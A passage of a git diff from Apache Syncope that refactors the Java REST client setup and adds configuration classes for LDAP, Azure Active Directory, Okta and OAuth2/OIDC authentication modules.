/** * Returns the JWT in used by this instance, passed with the {@link HttpHeaders#AUTHORIZATION} header - * in all requests. It can be null (in case {@link NoAuthenticationHandler} or - * {@link AnonymousAuthenticationHandler} were used). + * in all requests. It can be null (in case {@link AnonymousAuthenticationHandler} was used). * * @return the JWT in used by this instance */ @@ -336,30 +284,31 @@ public String getDomain() { * @return service instance of the given reference class */ public T getService(final Class serviceClass) { + T serviceInstance; synchronized (restClientFactory) { restClientFactory.setServiceClass(serviceClass); - T serviceInstance = restClientFactory.create(serviceClass); - - Client client = WebClient.client(serviceInstance); - client.type(mediaType).accept(mediaType); - if (serviceInstance instanceof AnyService || serviceInstance instanceof ExecutableService) { - client.accept(RESTHeaders.MULTIPART_MIXED); - } + serviceInstance = restClientFactory.create(serviceClass); + } - ClientConfiguration config = WebClient.getConfig(client); - config.getRequestContext().put(HEADER_SPLIT_PROPERTY, true); - config.getRequestContext().put(URLConnectionHTTPConduit.HTTPURL_CONNECTION_METHOD_REFLECTION, true); - if (useCompression) { - config.getInInterceptors().add(new GZIPInInterceptor()); - config.getOutInterceptors().add(new GZIPOutInterceptor()); - } - if (tlsClientParameters != null) { - HTTPConduit httpConduit = (HTTPConduit) config.getConduit(); - httpConduit.setTlsClientParameters(tlsClientParameters); - } + Client client = WebClient.client(serviceInstance); + client.type(mediaType).accept(mediaType); + if (serviceInstance instanceof AnyService || serviceInstance instanceof ExecutableService) { + client.accept(RESTHeaders.MULTIPART_MIXED); + } - return serviceInstance; + ClientConfiguration config = WebClient.getConfig(client); + config.getRequestContext().put(HEADER_SPLIT_PROPERTY, true); + config.getRequestContext().put(AsyncHTTPConduit.USE_ASYNC, Boolean.TRUE); + if (useCompression) { + config.getInInterceptors().add(new GZIPInInterceptor()); + config.getOutInterceptors().add(new GZIPOutInterceptor()); } + + HTTPConduit httpConduit = (HTTPConduit) config.getConduit(); + Optional.ofNullable(httpClientPolicy).ifPresent(httpConduit::setClient); + Optional.ofNullable(tlsClientParameters).ifPresent(httpConduit::setTlsClientParameters); + + return serviceInstance; } public Triple>, List, UserTO> self() { diff --git a/client/idrepo/lib/src/main/java/org/apache/syncope/client/lib/SyncopeClientFactoryBean.java b/client/idrepo/lib/src/main/java/org/apache/syncope/client/lib/SyncopeClientFactoryBean.java index ab5abac3368..05b941e78d8 100644 --- a/client/idrepo/lib/src/main/java/org/apache/syncope/client/lib/SyncopeClientFactoryBean.java +++ b/client/idrepo/lib/src/main/java/org/apache/syncope/client/lib/SyncopeClientFactoryBean.java @@ -29,6 +29,8 @@ import org.apache.cxf.configuration.jsse.TLSClientParameters; import org.apache.cxf.ext.logging.LoggingFeature; import org.apache.cxf.jaxrs.client.JAXRSClientFactoryBean; +import org.apache.cxf.transports.http.configuration.ConnectionType; +import org.apache.cxf.transports.http.configuration.HTTPClientPolicy; import org.apache.syncope.common.lib.jackson.SyncopeJsonMapper; import org.apache.syncope.common.lib.jackson.SyncopeXmlMapper; import org.apache.syncope.common.lib.jackson.SyncopeYAMLMapper; @@ -82,6 +84,8 @@ public static ContentType fromString(final String value) { private boolean useCompression; + private HTTPClientPolicy httpClientPolicy; + private TLSClientParameters tlsClientParameters; private JAXRSClientFactoryBean restClientFactoryBean; @@ -102,6 +106,12 @@ protected static RestClientExceptionMapper defaultExceptionMapper() { return new RestClientExceptionMapper(); } + protected static HTTPClientPolicy defaultHTTPClientPolicy() { + HTTPClientPolicy policy = new HTTPClientPolicy(); + policy.setConnection(ConnectionType.CLOSE); + return policy; + } + protected JAXRSClientFactoryBean defaultRestClientFactoryBean() { JAXRSClientFactoryBean defaultRestClientFactoryBean = new JAXRSClientFactoryBean(); defaultRestClientFactoryBean.setHeaders(new HashMap<>()); @@ -210,6 +220,15 @@ public boolean isUseCompression() { return useCompression; } + public SyncopeClientFactoryBean setHttpClientPolicy(final HTTPClientPolicy httpClientPolicy) { + this.httpClientPolicy = httpClientPolicy; + return this; + } + + public HTTPClientPolicy getHttpClientPolicy() { + return Optional.ofNullable(httpClientPolicy).orElseGet(SyncopeClientFactoryBean::defaultHTTPClientPolicy); + } + /** * Sets the client TLS configuration. * @@ -234,15 +253,6 @@ public SyncopeClientFactoryBean setRestClientFactoryBean(final JAXRSClientFactor return this; } - /** - * Builds client instance with no authentication, for user self-registration and password reset. - * - * @return client instance with no authentication - */ - public SyncopeClient create() { - return create(new NoAuthenticationHandler()); - } - /** * Builds client instance with the given credentials. * Such credentials will be used only to obtain a valid JWT in the @@ -281,6 +291,25 @@ public SyncopeClient create(final AuthenticationHandler handler) { getExceptionMapper(), handler, useCompression, + getHttpClientPolicy(), + tlsClientParameters); + } + + /** + * Builds client instance with the given anonymous credentials. + * + * @param username username + * @param password password + * @return client instance with the given credentials + */ + public SyncopeAnonymousClient createAnonymous(final String username, final String password) { + return new SyncopeAnonymousClient( + getContentType().getMediaType(), + getRestClientFactoryBean(), + getExceptionMapper(), + new AnonymousAuthenticationHandler(username, password), + useCompression, + getHttpClientPolicy(), tlsClientParameters); } } diff --git a/client/idrepo/lib/src/main/java/org/apache/syncope/client/lib/WebClientBuilder.java b/client/idrepo/lib/src/main/java/org/apache/syncope/client/lib/WebClientBuilder.java new file mode 100644 index 00000000000..5bb251d69e4 --- /dev/null +++ b/client/idrepo/lib/src/main/java/org/apache/syncope/client/lib/WebClientBuilder.java @@ -0,0 +1,55 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + */ +package org.apache.syncope.client.lib; + +import java.net.URI; +import java.util.List; +import org.apache.cxf.jaxrs.client.ClientConfiguration; +import org.apache.cxf.jaxrs.client.WebClient; +import org.apache.cxf.transport.http.asyncclient.AsyncHTTPConduit; + +public final class WebClientBuilder { + + protected static WebClient setAsync(final WebClient webClient) { + ClientConfiguration config = WebClient.getConfig(webClient); + config.getRequestContext().put(AsyncHTTPConduit.USE_ASYNC, Boolean.TRUE); + + return webClient; + } + + public static WebClient build(final String address, + final String username, + final String password, + final List providers) { + + return setAsync(WebClient.create(address, providers, username, password, null)); + } + + public static WebClient build(final String address) { + return setAsync(WebClient.create(address)); + } + + public static WebClient build(final URI uri) { + return setAsync(WebClient.create(uri)); + } + + private WebClientBuilder() { + // private constructor for static utility class + } +} diff --git a/client/idrepo/lib/src/test/java/org/apache/syncope/client/lib/ConcurrencyTest.java b/client/idrepo/lib/src/test/java/org/apache/syncope/client/lib/ConcurrencyTest.java index ebf8e6f980d..2ea7b08231e 100644 --- a/client/idrepo/lib/src/test/java/org/apache/syncope/client/lib/ConcurrencyTest.java +++ b/client/idrepo/lib/src/test/java/org/apache/syncope/client/lib/ConcurrencyTest.java @@ -32,7 +32,9 @@ public class ConcurrencyTest { private static final int THREAD_NUMBER = 1000; - private static final SyncopeClient CLIENT = new SyncopeClientFactoryBean().setAddress("http://url").create(); + private static final SyncopeClient CLIENT = new SyncopeClientFactoryBean(). + setAddress("http://url").create(new AuthenticationHandler() { + }); @Test public void multiThreadTest() throws InterruptedException { diff --git a/client/idrepo/pom.xml b/client/idrepo/pom.xml index 5de50544a05..f1e669763e5 100644 --- a/client/idrepo/pom.xml +++ b/client/idrepo/pom.xml @@ -24,7 +24,7 @@ under the License. org.apache.syncope syncope-client - 3.0.1-SNAPSHOT + 3.0.17-SNAPSHOT Apache Syncope Client IdRepo diff --git a/client/pom.xml b/client/pom.xml index 5e79cafcf18..2c83e6f42d8 100644 --- a/client/pom.xml +++ b/client/pom.xml @@ -24,7 +24,7 @@ under the License. org.apache.syncope syncope - 3.0.1-SNAPSHOT + 3.0.17-SNAPSHOT Apache Syncope Client diff --git a/common/am/lib/pom.xml b/common/am/lib/pom.xml index c2de019d730..c5abc2fe51a 100644 --- a/common/am/lib/pom.xml +++ b/common/am/lib/pom.xml @@ -24,7 +24,7 @@ under the License. org.apache.syncope.common syncope-common-am - 3.0.1-SNAPSHOT + 3.0.17-SNAPSHOT Apache Syncope Common AM Lib diff --git a/common/am/lib/src/main/java/org/apache/syncope/common/lib/AbstractAzureActiveDirectoryConf.java b/common/am/lib/src/main/java/org/apache/syncope/common/lib/AbstractAzureActiveDirectoryConf.java new file mode 100644 index 00000000000..d0255ed536f --- /dev/null +++ b/common/am/lib/src/main/java/org/apache/syncope/common/lib/AbstractAzureActiveDirectoryConf.java @@ -0,0 +1,119 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + */ +package org.apache.syncope.common.lib; + +import java.io.Serializable; + +public abstract class AbstractAzureActiveDirectoryConf implements Serializable { + + private static final long serialVersionUID = 282571926999684266L; + + private String clientId; + + private String clientSecret; + + /** + * This URL of the security token service that CAS goes to for acquiring tokens for resources and users. + * This URL allows CAS to establish what is called an 'authority'. + * You can think of the authority as the directory issuing the identities/tokens. The login URL here is then + * composed of {@code https:///}, where 'instance' is the Azure AD host + * (such as {@code https://login.microsoftonline.com}) and 'tenant' is the domain name + * (such as {@code contoso.onmicrosoft.com}) or tenant ID of the directory. + * Examples of authority URL are: + * + *
      + *
    • {@code https://login.microsoftonline.com/f31e6716-26e8-4651-b323-2563936b4163}: for a single tenant + * application defined in the tenant
      • + *
    • {@code https://login.microsoftonline.com/contoso.onmicrosoft.com}: This representation is like the previous + * one, but uses the tenant domain name instead of the tenant Id.
      • + *
    • {@code https://login.microsoftonline.de/contoso.de}: also uses a domain name, but in this case the Azure AD + * tenant admins have set a custom domain for their tenant, and the + * instance URL here is for the German national cloud.
      • + *
    • {@code https://login.microsoftonline.com/common}: in the case of a multi-tenant application, that is an + * application available in several Azure AD tenants.
      • + *
    • It can finally be an Active Directory Federation Services (ADFS) URL, which is recognized + * with the convention that the URL should contain adfs like {@code https://contoso.com/adfs}.
      • + *
    + */ + private String loginUrl = "https://login.microsoftonline.com/common/"; + + /** + * Resource url for the graph API to fetch attributes. + */ + private String resource = "https://graph.microsoft.com/"; + + /** + * The microsoft tenant id. + */ + private String tenant; + + /** + * Scope used when fetching access tokens. + * Multiple scopes may be separated using a comma. + */ + private String scope = "openid,email,profile,address"; + + public String getClientId() { + return clientId; + } + + public void setClientId(final String clientId) { + this.clientId = clientId; + } + + public String getClientSecret() { + return clientSecret; + } + + public void setClientSecret(final String clientSecret) { + this.clientSecret = clientSecret; + } + + public String getLoginUrl() { + return loginUrl; + } + + public void setLoginUrl(final String loginUrl) { + this.loginUrl = loginUrl; + } + + public String getResource() { + return resource; + } + + public void setResource(final String resource) { + this.resource = resource; + } + + public String getTenant() { + return tenant; + } + + public void setTenant(final String tenant) { + this.tenant = tenant; + } + + public String getScope() { + return scope; + } + + public void setScope(final String scope) { + this.scope = scope; + } +} diff --git a/common/am/lib/src/main/java/org/apache/syncope/common/lib/AbstractLDAPConf.java b/common/am/lib/src/main/java/org/apache/syncope/common/lib/AbstractLDAPConf.java index c40154654ad..8b6c8f2feca 100644 --- a/common/am/lib/src/main/java/org/apache/syncope/common/lib/AbstractLDAPConf.java +++ b/common/am/lib/src/main/java/org/apache/syncope/common/lib/AbstractLDAPConf.java @@ -28,6 +28,30 @@ public abstract class AbstractLDAPConf implements Serializable { private static final long serialVersionUID = 3705514707899419599L; + /** + * The ldap type used to handle specific ops. + */ + public enum LdapType { + + /** + * Generic ldap type (OpenLDAP, 389ds, etc). + */ + GENERIC, + /** + * Active directory. + */ + AD, + /** + * FreeIPA directory. + */ + FreeIPA, + /** + * EDirectory. + */ + EDirectory + + } + /** * The ldap connection pool passivator. */ @@ -65,6 +89,43 @@ public enum LdapConnectionStrategy { } + /** + * Describe hostname verification strategies. + */ + public enum LdapHostnameVerifier { + /** + * Default option, forcing verification. + */ + DEFAULT, + /** + * Skip hostname verification and allow all. + */ + ANY + + } + + /** + * Describe trust manager strategies. + */ + public enum LdapTrustManager { + /** + * Loads the trust managers from the default {@link javax.net.ssl.TrustManagerFactory} and delegates to those. + */ + DEFAULT, + /** + * Trusts any client or server. + */ + ANY + + } + + /** + * User filter to use for searching. + * Syntax is {@code cn={user}} or {@code cn={0}}. + * + * You may also provide an external groovy script in the syntax of {@code file:/path/to/GroovyScript.groovy} + * to fully build the final filter template dynamically. + */ private String searchFilter; /** @@ -72,8 +133,32 @@ public enum LdapConnectionStrategy { */ private boolean subtreeSearch = true; + /** + * Request that the server return results in batches of a + * specific size. See RFC 2696. This control is often + * used to work around server result size limits. + * A negative/zero value disables paged requests. + */ + private int pageSize; + + /** + * Base DN to use. + * There may be scenarios where different parts of a single LDAP tree could be considered as base-dns. Rather than + * duplicating the LDAP configuration block for each individual base-dn, each entry can be specified + * and joined together using a special delimiter character. The user DN is retrieved using the combination of all + * base-dn and DN resolvers in the order defined. DN resolution should fail if multiple DNs are found. Otherwise the + * first DN found is returned. + * Usual syntax is: {@code subtreeA,dc=example,dc=net|subtreeC,dc=example,dc=net}. + */ + private String baseDn; + private String ldapUrl; + /** + * LDAP type. + */ + private LdapType ldapType = LdapType.GENERIC; + /** * The bind DN to use when connecting to LDAP. * LDAP connection configuration injected into the LDAP connection pool @@ -96,8 +181,6 @@ public enum LdapConnectionStrategy { */ private String bindCredential; - private String baseDn; - /** * Whether to use a pooled connection factory in components. */ @@ -147,6 +230,18 @@ public enum LdapConnectionStrategy { */ private LdapConnectionPoolPassivator poolPassivator = LdapConnectionPoolPassivator.BIND; + /** + * Hostname verification options. + */ + private LdapHostnameVerifier hostnameVerifier = LdapHostnameVerifier.DEFAULT; + + /** + * Trust Manager options. + * Trust managers are responsible for managing the trust material that is used when making LDAP trust decisions, + * and for deciding whether credentials presented by a peer should be accepted. + */ + private LdapTrustManager trustManager; + /** * Whether connections should be validated when loaned out from the pool. */ @@ -251,6 +346,14 @@ public void setSearchFilter(final String searchFilter) { this.searchFilter = searchFilter; } + public int getPageSize() { + return pageSize; + } + + public void setPageSize(final int pageSize) { + this.pageSize = pageSize; + } + public boolean isSubtreeSearch() { return subtreeSearch; } @@ -259,6 +362,14 @@ public void setSubtreeSearch(final boolean subtreeSearch) { this.subtreeSearch = subtreeSearch; } + public LdapType getLdapType() { + return ldapType; + } + + public void setLdapType(final LdapType ldapType) { + this.ldapType = ldapType; + } + public String getLdapUrl() { return ldapUrl; } @@ -323,6 +434,22 @@ public void setPoolPassivator(final LdapConnectionPoolPassivator poolPassivator) this.poolPassivator = poolPassivator; } + public LdapHostnameVerifier getHostnameVerifier() { + return hostnameVerifier; + } + + public void setHostnameVerifier(final LdapHostnameVerifier hostnameVerifier) { + this.hostnameVerifier = hostnameVerifier; + } + + public LdapTrustManager getTrustManager() { + return trustManager; + } + + public void setTrustManager(final LdapTrustManager trustManager) { + this.trustManager = trustManager; + } + public boolean isValidateOnCheckout() { return validateOnCheckout; } diff --git a/core/persistence-api/src/main/java/org/apache/syncope/core/persistence/api/dao/ReportTemplateDAO.java b/common/am/lib/src/main/java/org/apache/syncope/common/lib/AbstractOktaConf.java similarity index 64% rename from core/persistence-api/src/main/java/org/apache/syncope/core/persistence/api/dao/ReportTemplateDAO.java rename to common/am/lib/src/main/java/org/apache/syncope/common/lib/AbstractOktaConf.java index 3274660c2aa..a19d96df9db 100644 --- a/core/persistence-api/src/main/java/org/apache/syncope/core/persistence/api/dao/ReportTemplateDAO.java +++ b/common/am/lib/src/main/java/org/apache/syncope/common/lib/AbstractOktaConf.java @@ -16,18 +16,21 @@ * specific language governing permissions and limitations * under the License. */ -package org.apache.syncope.core.persistence.api.dao; +package org.apache.syncope.common.lib; -import java.util.List; -import org.apache.syncope.core.persistence.api.entity.ReportTemplate; +import java.io.Serializable; -public interface ReportTemplateDAO extends DAO { +public abstract class AbstractOktaConf implements Serializable { - ReportTemplate find(String key); + private static final long serialVersionUID = -7800528759438661362L; - List findAll(); + private String organizationUrl; - ReportTemplate save(ReportTemplate template); + public String getOrganizationUrl() { + return organizationUrl; + } - void delete(String key); + public void setOrganizationUrl(final String organizationUrl) { + this.organizationUrl = organizationUrl; + } } diff --git a/client/idrepo/enduser/src/main/java/org/apache/syncope/client/enduser/rest/RealmRestClient.java b/common/am/lib/src/main/java/org/apache/syncope/common/lib/OIDCScopeConstants.java similarity index 58% rename from client/idrepo/enduser/src/main/java/org/apache/syncope/client/enduser/rest/RealmRestClient.java rename to common/am/lib/src/main/java/org/apache/syncope/common/lib/OIDCScopeConstants.java index def9fd03ccf..29c3e39d11f 100644 --- a/client/idrepo/enduser/src/main/java/org/apache/syncope/client/enduser/rest/RealmRestClient.java +++ b/common/am/lib/src/main/java/org/apache/syncope/common/lib/OIDCScopeConstants.java @@ -16,21 +16,27 @@ * specific language governing permissions and limitations * under the License. */ -package org.apache.syncope.client.enduser.rest; +package org.apache.syncope.common.lib; import java.util.List; -import org.apache.syncope.common.lib.SyncopeConstants; -import org.apache.syncope.common.lib.to.RealmTO; -import org.apache.syncope.common.rest.api.service.RealmService; -/** - * Console client for invoking REST Realm's services. - */ -public class RealmRestClient extends BaseRestClient { +public final class OIDCScopeConstants { + + public static final String OPEN_ID = "openid"; + + public static final String PROFILE = "profile"; + + public static final String EMAIL = "email"; + + public static final String ADDRESS = "address"; + + public static final String PHONE = "phone"; + + public static final String SYNCOPE = "syncope"; - private static final long serialVersionUID = -8549081557283519638L; + public static final List ALL_STANDARD_SCOPES = List.of(OPEN_ID, PROFILE, EMAIL, ADDRESS, PHONE); - public static List list() { - return getService(RealmService.class).list(SyncopeConstants.ROOT_REALM); + private OIDCScopeConstants() { + // private constructor for static utility class } } diff --git a/common/am/lib/src/main/java/org/apache/syncope/common/lib/attr/AttrRepoConf.java b/common/am/lib/src/main/java/org/apache/syncope/common/lib/attr/AttrRepoConf.java index 18edec4b4e3..1942b7c4245 100644 --- a/common/am/lib/src/main/java/org/apache/syncope/common/lib/attr/AttrRepoConf.java +++ b/common/am/lib/src/main/java/org/apache/syncope/common/lib/attr/AttrRepoConf.java @@ -35,6 +35,10 @@ interface Mapper { Map map(AttrRepoTO attrRepo, JDBCAttrRepoConf conf); Map map(AttrRepoTO attrRepo, SyncopeAttrRepoConf conf); + + Map map(AttrRepoTO attrRepo, AzureActiveDirectoryAttrRepoConf conf); + + Map map(AttrRepoTO attrRepo, OktaAttrRepoConf conf); } Map map(AttrRepoTO attrRepo, Mapper mapper); diff --git a/common/am/lib/src/main/java/org/apache/syncope/common/lib/attr/AzureActiveDirectoryAttrRepoConf.java b/common/am/lib/src/main/java/org/apache/syncope/common/lib/attr/AzureActiveDirectoryAttrRepoConf.java new file mode 100644 index 00000000000..11d657a280d --- /dev/null +++ b/common/am/lib/src/main/java/org/apache/syncope/common/lib/attr/AzureActiveDirectoryAttrRepoConf.java @@ -0,0 +1,46 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + */ +package org.apache.syncope.common.lib.attr; + +import java.util.Map; +import org.apache.syncope.common.lib.AbstractAzureActiveDirectoryConf; +import org.apache.syncope.common.lib.to.AttrRepoTO; + +public class AzureActiveDirectoryAttrRepoConf extends AbstractAzureActiveDirectoryConf implements AttrRepoConf { + + private static final long serialVersionUID = -2365294132437794196L; + + /** + * Whether attribute repository should consider the underlying attribute names in a case-insensitive manner. + */ + private boolean caseInsensitive; + + public boolean isCaseInsensitive() { + return caseInsensitive; + } + + public void setCaseInsensitive(final boolean caseInsensitive) { + this.caseInsensitive = caseInsensitive; + } + + @Override + public Map map(final AttrRepoTO attrRepo, final Mapper mapper) { + return mapper.map(attrRepo, this); + } +} diff --git a/common/am/lib/src/main/java/org/apache/syncope/common/lib/attr/JDBCAttrRepoConf.java b/common/am/lib/src/main/java/org/apache/syncope/common/lib/attr/JDBCAttrRepoConf.java index 1c25e5fe51b..444a752e60a 100644 --- a/common/am/lib/src/main/java/org/apache/syncope/common/lib/attr/JDBCAttrRepoConf.java +++ b/common/am/lib/src/main/java/org/apache/syncope/common/lib/attr/JDBCAttrRepoConf.java @@ -24,19 +24,12 @@ import java.util.Map; import org.apache.syncope.common.lib.AbstractJDBCConf; import org.apache.syncope.common.lib.to.AttrRepoTO; +import org.apache.syncope.common.lib.types.CaseCanonicalizationMode; public class JDBCAttrRepoConf extends AbstractJDBCConf implements AttrRepoConf { private static final long serialVersionUID = -4474060002361453868L; - public enum CaseCanonicalizationMode { - - LOWER, - UPPER, - NONE; - - } - public enum QueryType { AND, OR @@ -76,16 +69,6 @@ public enum QueryType { */ private final List username = new ArrayList<>(0); - /** - * Map of attributes to fetch from the database. - * Attributes are defined using a key-value structure - * where CAS allows the attribute name/key to be renamed virtually - * to a different attribute. The key is the attribute fetched - * from the data source and the value is the attribute name CAS should - * use for virtual renames. - */ - private final Map attributes = new HashMap<>(0); - /** * Collection of attributes, used to build the SQL query, that should go through * a case canonicalization process defined as {@code key->value}. @@ -139,10 +122,6 @@ public List getUsername() { return username; } - public Map getAttributes() { - return attributes; - } - public List getCaseInsensitiveQueryAttributes() { return caseInsensitiveQueryAttributes; } diff --git a/common/am/lib/src/main/java/org/apache/syncope/common/lib/attr/LDAPAttrRepoConf.java b/common/am/lib/src/main/java/org/apache/syncope/common/lib/attr/LDAPAttrRepoConf.java index 6819a53b12b..d1528a4e511 100644 --- a/common/am/lib/src/main/java/org/apache/syncope/common/lib/attr/LDAPAttrRepoConf.java +++ b/common/am/lib/src/main/java/org/apache/syncope/common/lib/attr/LDAPAttrRepoConf.java @@ -27,16 +27,6 @@ public class LDAPAttrRepoConf extends AbstractLDAPConf implements AttrRepoConf { private static final long serialVersionUID = -471527731042579422L; - /** - * Map of attributes to fetch from the database. - * Attributes are defined using a key-value structure - * where CAS allows the attribute name/key to be renamed virtually - * to a different attribute. The key is the attribute fetched - * from the data source and the value is the attribute name CAS should - * use for virtual renames. - */ - private final Map attributes = new HashMap<>(0); - /** * Whether all existing attributes should be passed * down to the query builder map and be used in the construction @@ -59,10 +49,6 @@ public void setUseAllQueryAttributes(final boolean useAllQueryAttributes) { this.useAllQueryAttributes = useAllQueryAttributes; } - public Map getAttributes() { - return attributes; - } - public Map getQueryAttributes() { return queryAttributes; } diff --git a/common/am/lib/src/main/java/org/apache/syncope/common/lib/attr/OktaAttrRepoConf.java b/common/am/lib/src/main/java/org/apache/syncope/common/lib/attr/OktaAttrRepoConf.java new file mode 100644 index 00000000000..2cfa6d6e1ac --- /dev/null +++ b/common/am/lib/src/main/java/org/apache/syncope/common/lib/attr/OktaAttrRepoConf.java @@ -0,0 +1,74 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + */ +package org.apache.syncope.common.lib.attr; + +import java.util.List; +import java.util.Map; +import java.util.stream.Collectors; +import java.util.stream.Stream; +import org.apache.syncope.common.lib.AbstractOktaConf; +import org.apache.syncope.common.lib.to.AttrRepoTO; + +public class OktaAttrRepoConf extends AbstractOktaConf implements AttrRepoConf { + + private static final long serialVersionUID = 1019473980380211566L; + + /** + * Username attribute to fetch attributes by. + */ + private String usernameAttribute = "username"; + + /** + * Okta allows you to interact with Okta APIs using scoped OAuth 2.0 access tokens. Each access token + * enables the bearer to perform specific actions on specific Okta endpoints, with that + * ability controlled by which scopes the access token contains. Scopes are only used + * when using client id and private-key. + */ + private final List scopes = Stream.of("okta.users.read", "okta.apps.read").collect(Collectors.toList()); + + /** + * Okta API token. + */ + private String apiToken; + + public String getUsernameAttribute() { + return usernameAttribute; + } + + public void setUsernameAttribute(final String usernameAttribute) { + this.usernameAttribute = usernameAttribute; + } + + public String getApiToken() { + return apiToken; + } + + public void setApiToken(final String apiToken) { + this.apiToken = apiToken; + } + + public List getScopes() { + return scopes; + } + + @Override + public Map map(final AttrRepoTO attrRepo, final Mapper mapper) { + return mapper.map(attrRepo, this); + } +} diff --git a/common/am/lib/src/main/java/org/apache/syncope/common/lib/auth/AbstractOAuth20AuthModuleConf.java b/common/am/lib/src/main/java/org/apache/syncope/common/lib/auth/AbstractOAuth20AuthModuleConf.java new file mode 100644 index 00000000000..c5478e7b9aa --- /dev/null +++ b/common/am/lib/src/main/java/org/apache/syncope/common/lib/auth/AbstractOAuth20AuthModuleConf.java @@ -0,0 +1,111 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + */ +package org.apache.syncope.common.lib.auth; + +import java.util.LinkedHashMap; +import java.util.Map; + +public abstract class AbstractOAuth20AuthModuleConf extends Pac4jAuthModuleConf { + + private static final long serialVersionUID = -4716170241796764061L; + + protected String clientId; + + protected String clientSecret; + + protected boolean enabled; + + protected Map customParams = new LinkedHashMap<>(); + + protected String tokenUrl; + + protected String responseType = "code"; + + protected String scope; + + protected String userIdAttribute; + + public String getClientId() { + return clientId; + } + + public void setId(final String clientId) { + this.clientId = clientId; + } + + public String getClientSecret() { + return clientSecret; + } + + public void setClientSecret(final String clientSecret) { + this.clientSecret = clientSecret; + } + + public boolean isEnabled() { + return enabled; + } + + public void setEnabled(final boolean enabled) { + this.enabled = enabled; + } + + public Map getCustomParams() { + return customParams; + } + + public void setCustomParams(final Map customParams) { + this.customParams = customParams; + } + + public String getTokenUrl() { + return tokenUrl; + } + + public void setTokenUrl(final String tokenUrl) { + this.tokenUrl = tokenUrl; + } + + public String getResponseType() { + return responseType; + } + + public void setResponseType(final String responseType) { + this.responseType = responseType; + } + + public String getScope() { + return scope; + } + + public void setScope(final String scope) { + this.scope = scope; + } + + public void setClientId(final String clientId) { + this.clientId = clientId; + } + + public String getUserIdAttribute() { + return userIdAttribute; + } + + public void setUserIdAttribute(final String userIdAttribute) { + this.userIdAttribute = userIdAttribute; + } +} diff --git a/common/am/lib/src/main/java/org/apache/syncope/common/lib/auth/AbstractOIDCAuthModuleConf.java b/common/am/lib/src/main/java/org/apache/syncope/common/lib/auth/AbstractOIDCAuthModuleConf.java new file mode 100644 index 00000000000..d4a53dec2f1 --- /dev/null +++ b/common/am/lib/src/main/java/org/apache/syncope/common/lib/auth/AbstractOIDCAuthModuleConf.java @@ -0,0 +1,122 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + */ +package org.apache.syncope.common.lib.auth; + +public abstract class AbstractOIDCAuthModuleConf extends AbstractOAuth20AuthModuleConf { + + private static final long serialVersionUID = -471527731042579422L; + + protected String discoveryUri; + + /** + * Whether an initial nonce should be to used + * initially for replay attack mitigation. + */ + protected boolean useNonce; + + /** + * The JWS algorithm to use forcefully when validating ID tokens. + * If none is defined, the first algorithm from metadata will be used. + */ + protected String preferredJwsAlgorithm; + + /** + * Clock skew in order to account for drift, when validating id tokens. + */ + protected String maxClockSkew; + + /** + * The response mode specifies how the result of the authorization request is formatted. + * Possible values includes "query", "fragment", "form_post", or "web_message" + */ + protected String responseMode; + + /** + * Checks if sessions expire with token expiration. + */ + protected boolean expireSessionWithToken; + + /** + * Default time period advance (in seconds) for considering an access token expired. + * This settings supports the java.time.Duration syntax. + * The format of the value will be PTnHnMnS, where n is the relevant hours, minutes or + * seconds part of the duration. Any fractional seconds are placed after a decimal point in the seconds section. + * If a section has a zero value, it is omitted. The hours, minutes and seconds will all have the same sign. + * Example values could be in the form of PT20S, PT15M, PT10H, 